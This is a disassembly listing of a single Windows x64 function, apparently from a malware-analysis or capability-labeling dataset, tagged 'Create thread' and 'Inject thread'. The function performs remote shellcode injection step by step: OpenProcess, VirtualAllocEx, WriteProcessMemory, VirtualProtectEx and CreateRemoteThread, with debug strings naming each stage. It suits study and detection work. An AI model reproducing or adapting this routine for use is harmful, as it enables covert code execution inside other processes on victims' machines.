Function at 0x1400016ac
Capabilities:
Create thread
Inject thread

Disassembly:
push rbp
sub rsp, 0x170
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x100], ecx
mov qword [rbp + 0x108], rdx
mov qword [rbp + 0x110], r8
mov edx, dword [rbp + 0x100]
lea rax, [rbp - 0x30]
mov r8d, edx
lea rdx, str.Entering_InjectShellcode_for_process_ID:__lu
mov rcx, rax
call fcn.1400014a4
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400014e7
mov eax, dword [rbp + 0x100]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x140001739
lea rax, str.Failed_to_open_process
mov rcx, rax
call fcn.1400014e7
jmp 0x1400019ee
lea rax, str.Opened_process
mov rcx, rax
call fcn.1400014e7
mov rdx, qword [rbp + 0x110]
mov rax, qword [rbp + 0xe8]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0xe0], rax
cmp qword [rbp + 0xe0], 0
jne 0x1400017b0
lea rax, str.Failed_to_allocate_memory_in_process
mov rcx, rax
call fcn.1400014e7
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400019ee
lea rax, str.Allocated_memory_in_process
mov rcx, rax
call fcn.1400014e7
mov r8, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xe8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x140001847
lea rax, str.Failed_to_write_to_process_memory
mov rcx, rax
call fcn.1400014e7
mov rdx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xe8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400019ee
lea rax, str.Wrote_to_process_memory
mov rcx, rax
call fcn.1400014e7
mov dword [rbp - 0x34], 0
mov r8, qword [rbp + 0x110]
mov rdx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xe8]
lea rcx, [rbp - 0x34]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call rax
test eax, eax
jne 0x1400018de
lea rax, str.Failed_to_change_memory_protection_in_process
mov rcx, rax
call fcn.1400014e7
mov rdx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xe8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400019ee
lea rax, str.Changed_memory_protection_in_process
mov rcx, rax
call fcn.1400014e7
mov dword [rbp - 0x38], 0
mov rcx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xe8]
lea rdx, [rbp - 0x38]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
jne 0x140001991
lea rax, str.Failed_to_create_remote_thread_in_process
mov rcx, rax
call fcn.1400014e7
mov rdx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xe8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400019ee
lea rax, str.Created_remote_thread_in_process
mov rcx, rax
call fcn.1400014e7
mov rax, qword [rbp + 0xd8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
lea rax, str.Shellcode_executed_successfully
mov rcx, rax
call fcn.1400014e7
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x170
pop rbp
ret